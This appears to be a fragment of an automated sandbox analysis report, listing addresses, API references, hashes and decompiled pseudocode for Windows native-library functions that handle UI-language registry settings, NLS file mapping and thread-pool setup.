0x6a9ce149
0x6a9ce14a
0x6a9ce152
0x6a9ce155
0x6a9ce156
0x6a9ce15d
0x6a9ce160
0x6a9ce16a
0x6a9ce17f
0x6a9ce184
0x6a9ce19a
0x6a9ce19c
0x6a9ce1a3
0x00000000
0x6a9ce1a5
0x6a9ce1a5
0x6a9ce1aa
0x00000000
0x6a9ce1ac
0x6a9ce1b2
0x6a9ce1c8
0x6a9ce1cc
0x6a9ce1d3
0x6a9ce1e8
0x6a9ce1ec
0x6a9ce1f2
0x6a9ce212
0x6a9ce21a
0x00000000
0x00000000
0x00000000
0x6a9ce1f2
0x6a9ce1ce
0x6a9ce1ce
0x6a9ce1ce
0x6a9ce1cc
0x6a9ce1b2
0x6a9ce1aa
0x6a9ce16c
0x6a9ce16c
0x6a9ce16c
0x6a9ce16e
0x6a9ce16e
0x6a9ce16a
0x6a9ce117
0x6a9ce227
0x6a9ce229
0x6a9ce22c
0x6a9ce22c
0x6a9ce233
0x6a9ce241
0x6a9ce241
0x6a9ce24e

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000,?), ref: 6A9CE12F
ZwOpenKey.1105(00000000,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000,?), ref: 6A9CE163

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

RtlInitUnicodeString.1105(?,PreferredUILanguages,00000000,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000,?), ref: 6A9CE17F
RtlAllocateHeap.1105(?,00000008,-00000002,00000007,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000), ref: 6A9CE1C3
ZwClose.1105(00000000,?,00000000,?), ref: 6A9CE22C
RtlFreeHeap.1105(?,00000000,00000000,?,00000000,?), ref: 6A9CE241

Strings

PreferredUILanguages, xrefs: 6A9CE176
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 6A9CE126
@, xrefs: 6A9CE156

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapInitStringUnicode$AllocateCloseFreeInitializeOpenThunk
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 3331478053-2968386058
Opcode ID: 7012973b6143fe7cdcf8cf4baf2eecfd9a29a38c27e4652993293dd142f88101
Instruction ID: 8bd402b943799bcbcfd32443efcb5e6e4901e13b97f1767a039a0938f9d9c272
Opcode Fuzzy Hash: 7012973b6143fe7cdcf8cf4baf2eecfd9a29a38c27e4652993293dd142f88101
Instruction Fuzzy Hash: B7416F72D0060DAFDF11CB94D886BEEB7BCAB05714F21406AE916A7241FB74DE44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6A9276FE, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 116
nativeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6A9276FE(WCHAR* __ecx, unsigned int* __edx, short* _a4) {
				signed int _v12;
				char _v528;
				signed int _v532;
				intOrPtr _v536;
				WCHAR* _v540;
				char* _v544;
				void* _v548;
				signed int _v552;
				signed int _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				signed int _v568;
				char _v572;
				void* _v580;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t39;
				long _t56;
				unsigned int _t58;
				unsigned int* _t60;
				intOrPtr _t66;
				short* _t68;
				long _t69;
				signed int _t70;

				_t67 = __edx;
				_v12 =  *0x6aa0d360 ^ _t70;
				_t60 = __edx;
				_v540 = __ecx;
				_t68 = _a4;
				if(__edx == 0 || __ecx == 0) {
					_t39 = 0xc000000d;
					goto L8;
				} else {
					_v532 = _v532 & 0x00000000;
					_v536 =  *((intOrPtr*)(__edx));
					RtlInitUnicodeString( &_v580, L"Latest");
					_v548 = 0x2000000;
					_v544 =  &_v528;
					_t69 = RtlAppendUnicodeToString( &_v548, L"\\Registry\\Machine\\Software\\Microsoft\\LanguageOverlay\\OverlayPackages");
					if(_t69 < 0) {
						L6:
						if(_v532 != 0) {
							 *0x6a8f6cb8(_v532);
						}
						_t39 = _t69;
						L8:
						return E6A95B640(_t39, _t60, _v12 ^ _t70, _t67, _t68, _t69);
					}
					_t69 = RtlAppendUnicodeToString( &_v548, "\\");
					if(_t69 < 0) {
						goto L6;
					}
					_t69 = RtlAppendUnicodeToString( &_v548, _v540);
					if(_t69 < 0) {
						goto L6;
					}
					_v572 = 0x18;
					_v564 =  &_v548;
					_v532 = 0;
					_v568 = 0;
					_v560 = 0x40;
					_v556 = 0;
					_v552 = 0;
					_t69 =  *0x6a8f6cd8( &_v532, 0x20019,  &_v572);
					if(_t69 >= 0) {
						_t67 =  &_v580;
						_t56 = E6A9EF1B5(_v532,  &_v580,  &_v540, _t68, _t60);
						_t66 = _v536;
						_t69 = _t56;
						if(_t69 < 0) {
							L16:
							if(_t68 != 0 && _t66 >= 2) {
								 *_t68 = 0;
							}
							goto L6;
						}
						if(_v540 == 1) {
							_t58 =  *_t60;
							if(_t58 > _t66) {
								_t69 = 0xc0000023;
							} else {
								_t67 = 0;
								 *((short*)(_t68 + (_t58 >> 1) * 2 - 2)) = 0;
							}
							if(_t69 >= 0) {
								goto L6;
							} else {
								goto L16;
							}
						}
						_t69 = 0xc000015c;
						goto L16;
					}
					goto L6;
				}
			}

0x6a9276fe
0x6a927710
0x6a927715
0x6a927719
0x6a927720
0x6a927725
0x6a979609
0x00000000
0x6a927733
0x6a927735
0x6a92773c
0x6a92774e
0x6a92775a
0x6a927764
0x6a92777b
0x6a92777f
0x6a927811
0x6a927818
0x6a9795fe
0x6a9795fe
0x6a92781e
0x6a927820
0x6a927830
0x6a927830
0x6a927796
0x6a92779a
0x00000000
0x00000000
0x6a9277ae
0x6a9277b2
0x00000000
0x00000000
0x6a9277ba
0x6a9277c4
0x6a9277d2
0x6a9277e4
0x6a9277eb
0x6a9277f5
0x6a9277fb
0x6a927807
0x6a92780b
0x6a979598
0x6a97959e
0x6a9795a3
0x6a9795a9
0x6a9795ad
0x6a9795dd
0x6a9795df
0x6a9795f0
0x6a9795f0
0x00000000
0x6a9795df
0x6a9795b6
0x6a9795bf
0x6a9795c3
0x6a9795d0
0x6a9795c5
0x6a9795c7
0x6a9795c9
0x6a9795c9
0x6a9795d7
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9795d7
0x6a9795b8
0x00000000
0x6a9795b8
0x00000000
0x6a92780b

APIs

RtlInitUnicodeString.1105(?,Latest,00000000,02BDFFFE,?), ref: 6A92774E
RtlAppendUnicodeToString.1105(02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6A927776

Part of subcall function 6A92A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6A92A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6A92A9E2

RtlAppendUnicodeToString.1105(02000000,6A8F5000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6A927791
RtlAppendUnicodeToString.1105(02000000,?,02000000,6A8F5000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6A9277A9
ZwOpenKey.1105(00000000,00020019,00000018,02000000,?,02000000,6A8F5000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6A927801

Strings

Latest, xrefs: 6A927748
\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages, xrefs: 6A927770
@, xrefs: 6A9277EB

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Append$InitOpenmemmove
String ID: @$Latest$\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages
API String ID: 1239783430-1383699509
Opcode ID: 203bed64b36b45c938387716d6761490d222f9e0dc370437f19a29d0a3a272a0
Instruction ID: d2df78331159356c7d367ca9c629f616e6f06484a8d6aaeea133b92657e0a2a1
Opcode Fuzzy Hash: 203bed64b36b45c938387716d6761490d222f9e0dc370437f19a29d0a3a272a0
Instruction Fuzzy Hash: 59412B71D5162DABDB218B54CCC8B9AB7B8FB55314F1145EAD818AB204EF70DE84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C6369, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 113
nativefileCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6A9C6369(char* __ecx, intOrPtr* __edx, void* __eflags, intOrPtr* _a4) {
				signed int _v12;
				short _v536;
				char _v540;
				char _v544;
				char _v548;
				intOrPtr _v556;
				char _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				char _v584;
				void* _v592;
				char _v600;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t33;
				char* _t50;
				intOrPtr* _t52;
				intOrPtr* _t63;
				signed int _t65;

				_v12 =  *0x6aa0d360 ^ _t65;
				_t52 = _a4;
				_t63 = __edx;
				_t64 = __ecx;
				_t62 = 0x100;
				if(E6A9ACD55( &_v536, 0x100, L"\\SystemRoot\\Globalization\\") < 0) {
					L11:
					_t33 = 0xc0000001;
					L12:
					return E6A95B640(_t33, _t52, _v12 ^ _t65, _t62, _t63, _t64);
				}
				_t64 = 0x100;
				_t62 = 0x100;
				if(E6A9B83B1( &_v536, 0x100, __ecx) < 0) {
					goto L11;
				}
				_t62 = 0x100;
				if(E6A9B83B1( &_v536, 0x100, L".nlp") < 0) {
					goto L11;
				}
				RtlInitUnicodeString( &_v592,  &_v536);
				_v584 = 0x18;
				_push(0);
				_v580 = 0;
				_v576 =  &_v592;
				_push(1);
				_push( &_v600);
				_v572 = 0x40;
				_push( &_v584);
				_push(0x80100000);
				_v568 = 0;
				_push( &_v540);
				_v564 = 0;
				_t64 = E6A959830();
				if(_t64 >= 0) {
					_t62 =  &_v560;
					if(E6A9C60A2(_v540,  &_v560) < 0 || _v556 != 0) {
						_t64 = 0xc0000001;
					} else {
						_push(_v540);
						_push(0x8000000);
						_push(2);
						 *_t52 = _v560;
						_t52 = 0;
						_push(0);
						_push(0);
						_push(0xf0005);
						_push( &_v544);
						_t64 = E6A9599A0();
						if(_t64 >= 0) {
							_push(2);
							_push(0);
							_push(1);
							 *_t63 = 0;
							_push( &_v548);
							_push(0);
							_push(0);
							_push(0);
							_push(_t63);
							_push(0xffffffff);
							_push(_v544);
							_v548 = 0;
							_t50 = E6A959780();
							_push(_v544);
							_t64 = _t50;
							E6A9595D0();
						}
					}
					_push(_v540);
					E6A9595D0();
				}
				_t33 = _t64;
				goto L12;
			}

0x6a9c637b
0x6a9c637f
0x6a9c6384
0x6a9c6386
0x6a9c638d
0x6a9c639f
0x6a9c64e3
0x6a9c64e3
0x6a9c64e8
0x6a9c64f8
0x6a9c64f8
0x6a9c63a6
0x6a9c63b1
0x6a9c63ba
0x00000000
0x00000000
0x6a9c63c5
0x6a9c63d4
0x00000000
0x00000000
0x6a9c63e8
0x6a9c63ef
0x6a9c63f9
0x6a9c6400
0x6a9c6406
0x6a9c6412
0x6a9c6414
0x6a9c641b
0x6a9c6425
0x6a9c6426
0x6a9c6431
0x6a9c6437
0x6a9c6438
0x6a9c6443
0x6a9c6447
0x6a9c6453
0x6a9c6460
0x6a9c64cf
0x6a9c646b
0x6a9c646b
0x6a9c6477
0x6a9c647c
0x6a9c647e
0x6a9c6480
0x6a9c6482
0x6a9c6483
0x6a9c6484
0x6a9c648f
0x6a9c6495
0x6a9c6499
0x6a9c649b
0x6a9c649d
0x6a9c649e
0x6a9c64a6
0x6a9c64a8
0x6a9c64a9
0x6a9c64aa
0x6a9c64ab
0x6a9c64ac
0x6a9c64ad
0x6a9c64af
0x6a9c64b5
0x6a9c64bb
0x6a9c64c0
0x6a9c64c6
0x6a9c64c8
0x6a9c64c8
0x6a9c6499
0x6a9c64d4
0x6a9c64da
0x6a9c64da
0x6a9c64df
0x00000000

APIs

RtlInitUnicodeString.1105(?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6A9C63E8
ZwOpenFile.1105(?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6A9C643E

Part of subcall function 6A9C60A2: ZwQueryInformationFile.1105(?,00000001,?,00000018,00000005,00000000,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000), ref: 6A9C60C4

ZwCreateSection.1105(?,000F0005,00000000,00000000,00000002,08000000,?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp), ref: 6A9C6490

Part of subcall function 6A9599A0: LdrInitializeThunk.NTDLL(6A9A1A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6A9599AA

ZwMapViewOfSection.1105(?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002,08000000), ref: 6A9C64BB

Part of subcall function 6A959780: LdrInitializeThunk.NTDLL(6A9A1A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6A95978A

ZwClose.1105(?,?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002), ref: 6A9C64C8
ZwClose.1105(?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6A9C64DA

Strings

.nlp, xrefs: 6A9C63C0
\SystemRoot\Globalization\, xrefs: 6A9C6388
@, xrefs: 6A9C641B

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileInitializeSectionThunk$CreateInformationInitOpenQueryStringUnicodeView
String ID: .nlp$@$\SystemRoot\Globalization\
API String ID: 4284092774-2934557456
Opcode ID: 86dfedfb30f525f4de1e664d21803e89421de22e20e639e543276cb97f57349a
Instruction ID: 059402f3d970aeb47d871f408d631af0f5e384ce563c63399c5db7a884d36e00
Opcode Fuzzy Hash: 86dfedfb30f525f4de1e664d21803e89421de22e20e639e543276cb97f57349a
Instruction Fuzzy Hash: 9D41877194122C6FEB21DB14CC89BDAB7B8EB54354F2141E5EA09A7241EF70DE84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6A9437EB, Relevance: 15.3, APIs: 10, Instructions: 269
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A9437EB(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t98;
				intOrPtr _t102;
				char* _t113;
				signed short _t123;
				signed int _t124;
				signed int _t129;
				intOrPtr* _t133;
				intOrPtr* _t134;
				intOrPtr* _t135;
				intOrPtr* _t139;
				intOrPtr* _t141;
				long _t152;
				void* _t153;
				signed int _t154;
				signed int _t155;
				signed int _t157;
				signed int _t160;
				signed short _t163;
				signed short _t164;
				signed int _t173;
				intOrPtr* _t176;
				short _t178;
				intOrPtr _t179;
				intOrPtr* _t181;
				intOrPtr _t182;
				void* _t183;

				_push(0x50);
				_push(0x6a9eff48);
				E6A96D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t183 - 0x44)) = __ecx;
				 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000001;
				 *((intOrPtr*)(_t183 - 0x24)) = 0;
				 *((intOrPtr*)(__ecx)) = 0;
				 *(_t183 - 0x2c) = __edx & 0x00000001;
				_t98 =  *[fs:0x30];
				RtlImageNtHeader( *(_t98 + 8));
				if(_t98 == 0) {
					_t178 = 0xc000007b;
					L28:
					return E6A96D0D1(_t178);
				}
				 *((intOrPtr*)(_t183 - 0x38)) =  *((intOrPtr*)(_t98 + 0x60));
				_t179 =  *((intOrPtr*)(_t98 + 0x64));
				 *((intOrPtr*)(_t183 - 0x30)) = _t179;
				_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x208));
				if(_t102 != 0) {
					if(_t179 < _t102) {
						 *((intOrPtr*)(_t183 - 0x30)) = _t102;
					}
				}
				_t181 = RtlAllocateHeap( *( *[fs:0x30] + 0x18),  *0x6aa084c4 + 0x000c0000 | 0x00000008, 0x120);
				 *((intOrPtr*)(_t183 - 0x20)) = _t181;
				 *((intOrPtr*)(_t183 - 4)) = 0;
				 *((intOrPtr*)(_t183 - 0x40)) = 1;
				if(_t181 == 0) {
					L36:
					_t178 = 0xc0000017;
					 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000017;
					goto L24;
				} else {
					_t152 =  *0x6aa084c4 + 0xc0000;
					 *(_t183 - 0x48) = _t152;
					_t153 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t152,  *0x6aa084c0 * 0x24);
					 *((intOrPtr*)(_t183 - 0x24)) = _t153;
					if(_t153 == 0) {
						_t178 = 0xc0000017;
						 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000017;
						_t181 =  *((intOrPtr*)(_t183 - 0x20));
						L24:
						 *((intOrPtr*)(_t183 - 4)) = 0xfffffffe;
						 *((intOrPtr*)(_t183 - 0x40)) = 0;
						E6A943B5A(_t107, 0, _t178, _t181);
						if(_t178 < 0) {
							goto L28;
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t183 - 0x44)))) = _t181;
						if(E6A937D50() != 0) {
							_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							_t178 =  *((intOrPtr*)(_t183 - 0x1c));
							_t181 =  *((intOrPtr*)(_t183 - 0x20));
						} else {
							_t113 = 0x7ffe0386;
						}
						if( *_t113 != 0) {
							L32:
							E6A9E8BB6(_t181);
						}
						goto L28;
					}
					_t154 = 0;
					 *(_t183 - 0x28) = 0;
					_t182 =  *((intOrPtr*)(_t183 - 0x20));
					_t173 =  *0x6aa084c0;
					while(_t154 < 3) {
						 *((intOrPtr*)(_t182 + 0x10 + _t154 * 4)) = _t173 * _t154 * 0xc +  *((intOrPtr*)(_t183 - 0x24));
						_t154 = _t154 + 1;
						 *(_t183 - 0x28) = _t154;
					}
					_t155 = 0;
					while(1) {
						 *(_t183 - 0x28) = _t155;
						if(_t155 >= _t173 * 3) {
							break;
						}
						_t141 = _t155 * 0xc +  *((intOrPtr*)(_t183 - 0x24));
						 *((intOrPtr*)(_t141 + 8)) = 0;
						 *((intOrPtr*)(_t141 + 4)) = _t141;
						 *_t141 = _t141;
						_t155 = _t155 + 1;
					}
					_t157 =  *0x6aa084c4 + 0xc0000;
					 *(_t183 - 0x4c) = _t157;
					_t107 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t157 | 0x00000008, _t173 << 2);
					_t181 =  *((intOrPtr*)(_t183 - 0x20));
					 *(_t181 + 0x1c) = _t107;
					if(_t107 == 0) {
						goto L36;
					}
					_t160 =  *0x6aa084c4 + 0xc0000;
					 *(_t183 - 0x50) = _t160;
					_t107 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t160 | 0x00000008,  *0x6aa084c0 * 0xc);
					_t181 =  *((intOrPtr*)(_t183 - 0x20));
					 *(_t181 + 0x20) = _t107;
					if(_t107 == 0) {
						goto L36;
					}
					_t123 =  *0x7ffe03c0;
					 *(_t183 - 0x34) = _t123;
					 *(_t183 - 0x54) = _t123;
					 *(_t181 + 0x100) = _t123;
					_t178 = E6A943B7A(_t181);
					 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
					if(_t178 < 0) {
						goto L24;
					}
					 *((intOrPtr*)(_t181 + 0x104)) = 0xfffffffe;
					 *(_t183 - 0x60) = 0;
					 *((intOrPtr*)(_t183 - 0x5c)) = 0;
					_t163 =  *(_t183 - 0x34);
					_t124 = _t163 & 0x0000ffff;
					 *(_t183 - 0x60) = _t124;
					 *(_t181 + 8) = _t124;
					 *((intOrPtr*)(_t181 + 0xc)) = 0;
					 *_t181 = 1;
					if(_t163 < 4) {
						_t164 = 4;
					} else {
						_t164 = _t163 + 1;
					}
					 *(_t183 - 0x34) = _t164;
					_t49 = _t181 + 0x28; // 0x28
					_push(_t164);
					_push(0);
					_push(0x1f0003);
					_t178 = E6A959F70();
					 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
					if(_t178 < 0) {
						goto L24;
					} else {
						 *((intOrPtr*)(_t183 - 4)) = 1;
						 *((intOrPtr*)(_t183 - 0x3c)) = 1;
						_t129 =  *0x7ffe03c0 << 2;
						if(_t129 < 0x200) {
							_t129 = 0x200;
						}
						_t53 = _t181 + 0x24; // 0x24
						_push( *((intOrPtr*)(_t183 - 0x30)));
						_push( *((intOrPtr*)(_t183 - 0x38)));
						_push(_t129);
						_push(_t181);
						_push(0x6a93c740);
						_push(0xffffffff);
						_push( *((intOrPtr*)(_t181 + 0x28)));
						_push(0);
						_push(0xf00ff);
						_t178 = E6A95A160();
						 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
						if(_t178 < 0) {
							L23:
							 *((intOrPtr*)(_t183 - 4)) = 0;
							 *((intOrPtr*)(_t183 - 0x3c)) = 0;
							_t107 = E6A943B48(_t130, 0, _t178, _t181);
							goto L24;
						} else {
							if( *(_t183 - 0x2c) != 0) {
								_push(4);
								_push(_t183 - 0x2c);
								_push(0xd);
								_push( *((intOrPtr*)(_t181 + 0x24)));
								_t178 = E6A95AE70();
								 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
								if(_t178 < 0) {
									goto L23;
								}
								 *((short*)(_t181 + 0xe6)) =  *(_t183 - 0x2c);
							}
							 *((intOrPtr*)(_t181 + 0x2c)) = 0;
							 *((intOrPtr*)(_t181 + 0xe0)) = 0;
							 *((intOrPtr*)(_t181 + 0x110)) = 0;
							 *((short*)(_t181 + 0xe4)) = 0;
							_t63 = _t181 + 0x30; // 0x30
							_t133 = _t63;
							 *((intOrPtr*)(_t133 + 4)) = _t133;
							 *_t133 = _t133;
							_t65 = _t181 + 0x38; // 0x38
							_t134 = _t65;
							 *((intOrPtr*)(_t134 + 4)) = _t134;
							 *_t134 = _t134;
							_t67 = _t181 + 0x114; // 0x114
							_t135 = _t67;
							 *((intOrPtr*)(_t135 + 4)) = _t135;
							 *_t135 = _t135;
							E6A93F194(_t181, _t183 - 0x58, 0);
							_t181 =  *((intOrPtr*)(_t183 - 0x20));
							 *((intOrPtr*)(_t181 + 0xf0)) =  *((intOrPtr*)(_t183 + 4));
							_t73 = _t181 + 0x40; // 0x40
							_t178 = E6A94196E(_t73, _t181);
							 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
							if(_t178 < 0) {
								goto L23;
							}
							_t178 = 0;
							 *((intOrPtr*)(_t183 - 0x1c)) = 0;
							E6A932280(_t130, 0x6aa086b4);
							 *((intOrPtr*)(_t183 - 4)) = 2;
							_t77 = _t181 + 0xe8; // 0xe8
							_t139 = _t77;
							_t176 =  *0x6aa053dc; // 0x6aa053d8
							if( *_t176 != 0x6aa053d8) {
								_push(3);
								asm("int 0x29");
								goto L32;
							}
							 *_t139 = 0x6aa053d8;
							 *((intOrPtr*)(_t139 + 4)) = _t176;
							 *_t176 = _t139;
							 *0x6aa053dc = _t139;
							 *((intOrPtr*)(_t183 - 4)) = 1;
							_t130 = E6A943B3D();
							goto L23;
						}
					}
				}
			}

0x6a9437eb
0x6a9437ed
0x6a9437f2
0x6a9437f7
0x6a9437fa
0x6a943803
0x6a943806
0x6a94380b
0x6a94380e
0x6a943817
0x6a94381e
0x6a98615c
0x6a943b0c
0x6a943b13
0x6a943b13
0x6a943827
0x6a94382a
0x6a94382d
0x6a943836
0x6a94383e
0x6a986168
0x6a98616e
0x6a98616e
0x6a986168
0x6a943865
0x6a943867
0x6a94386a
0x6a94386d
0x6a943876
0x6a986176
0x6a986176
0x6a98617b
0x00000000
0x6a94387c
0x6a943882
0x6a943888
0x6a9438a2
0x6a9438a4
0x6a9438a9
0x6a986183
0x6a986188
0x6a98618b
0x6a943ad9
0x6a943ad9
0x6a943ae0
0x6a943ae7
0x6a943aee
0x00000000
0x00000000
0x6a943af3
0x6a943afc
0x6a986288
0x6a98628d
0x6a986290
0x6a943b02
0x6a943b02
0x6a943b02
0x6a943b0a
0x6a943b71
0x6a943b73
0x6a943b73
0x00000000
0x6a943b0a
0x6a9438af
0x6a9438b1
0x6a9438b4
0x6a9438b7
0x6a9438bd
0x6a9438cd
0x6a9438d1
0x6a9438d2
0x6a9438d2
0x6a9438d7
0x6a9438d9
0x6a9438d9
0x6a9438e1
0x00000000
0x00000000
0x6a9438e6
0x6a9438e9
0x6a9438ec
0x6a9438ef
0x6a9438f1
0x6a9438f1
0x6a9438fa
0x6a943900
0x6a943916
0x6a94391b
0x6a94391e
0x6a943923
0x00000000
0x00000000
0x6a94392f
0x6a943935
0x6a94394d
0x6a943952
0x6a943955
0x6a94395a
0x00000000
0x00000000
0x6a943960
0x6a943965
0x6a943968
0x6a94396b
0x6a943978
0x6a94397a
0x6a94397f
0x00000000
0x00000000
0x6a943985
0x6a94398f
0x6a943992
0x6a943995
0x6a943998
0x6a94399b
0x6a94399e
0x6a9439a1
0x6a9439a4
0x6a9439ad
0x6a986195
0x6a9439b3
0x6a9439b3
0x6a9439b3
0x6a9439b4
0x6a9439b7
0x6a9439ba
0x6a9439bb
0x6a9439bc
0x6a9439c7
0x6a9439c9
0x6a9439ce
0x00000000
0x6a9439d4
0x6a9439d7
0x6a9439da
0x6a9439e2
0x6a9439ec
0x6a9439ee
0x6a9439ee
0x6a9439f0
0x6a9439f3
0x6a9439f6
0x6a9439f9
0x6a9439fa
0x6a9439fb
0x6a943a00
0x6a943a02
0x6a943a05
0x6a943a06
0x6a943a11
0x6a943a13
0x6a943a18
0x6a943aca
0x6a943aca
0x6a943acd
0x6a943ad4
0x00000000
0x6a943a1e
0x6a943a22
0x6a943b14
0x6a943b19
0x6a943b1a
0x6a943b1c
0x6a943b24
0x6a943b26
0x6a943b2b
0x00000000
0x00000000
0x6a943b31
0x6a943b31
0x6a943a28
0x6a943a2b
0x6a943a31
0x6a943a37
0x6a943a3e
0x6a943a3e
0x6a943a41
0x6a943a44
0x6a943a46
0x6a943a46
0x6a943a49
0x6a943a4c
0x6a943a4e
0x6a943a4e
0x6a943a54
0x6a943a57
0x6a943a5f
0x6a943a67
0x6a943a6a
0x6a943a70
0x6a943a7a
0x6a943a7c
0x6a943a81
0x00000000
0x00000000
0x6a943a83
0x6a943a85
0x6a943a8d
0x6a943a92
0x6a943a99
0x6a943a99
0x6a943a9f
0x6a943aac
0x6a943b6c
0x6a943b6f
0x00000000
0x6a943b6f
0x6a943ab2
0x6a943ab4
0x6a943ab7
0x6a943ab9
0x6a943abe
0x6a943ac5
0x00000000
0x6a943ac5
0x6a943a18
0x6a9439ce

APIs

RtlImageNtHeader.1105(?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A943817

Part of subcall function 6A92B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6A94381C,?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000,00000000), ref: 6A92B076

RtlAllocateHeap.1105(?,?,00000120,?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000,00000000,?,?,?,6A9EFEB8,0000001C), ref: 6A943860
RtlAllocateHeap.1105(?,?,00000000,?,?,00000120,?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000,00000000), ref: 6A94389D
RtlAllocateHeap.1105(?,?,?,?,?,00000000,?,?,00000120,?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000), ref: 6A943916
RtlAllocateHeap.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6A9EFF48,00000050,6A943E98), ref: 6A94394D
ZwCreateIoCompletion.1105(00000028,001F0003,00000000,?), ref: 6A9439C2
ZwCreateWorkerFactory.1105(00000024,000F00FF,00000000,?,000000FF,6A93C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6A943A0C
RtlAcquireSRWLockExclusive.1105(6AA086B4,00000000,00000024,000F00FF,00000000,?,000000FF,6A93C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6A943A8D
RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6A9EFF48,00000050,6A943E98), ref: 6A943AF5
